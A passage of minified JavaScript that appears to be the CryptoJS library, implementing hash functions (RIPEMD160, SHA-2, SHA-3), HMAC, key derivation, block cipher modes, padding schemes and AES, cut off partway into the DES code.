= [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 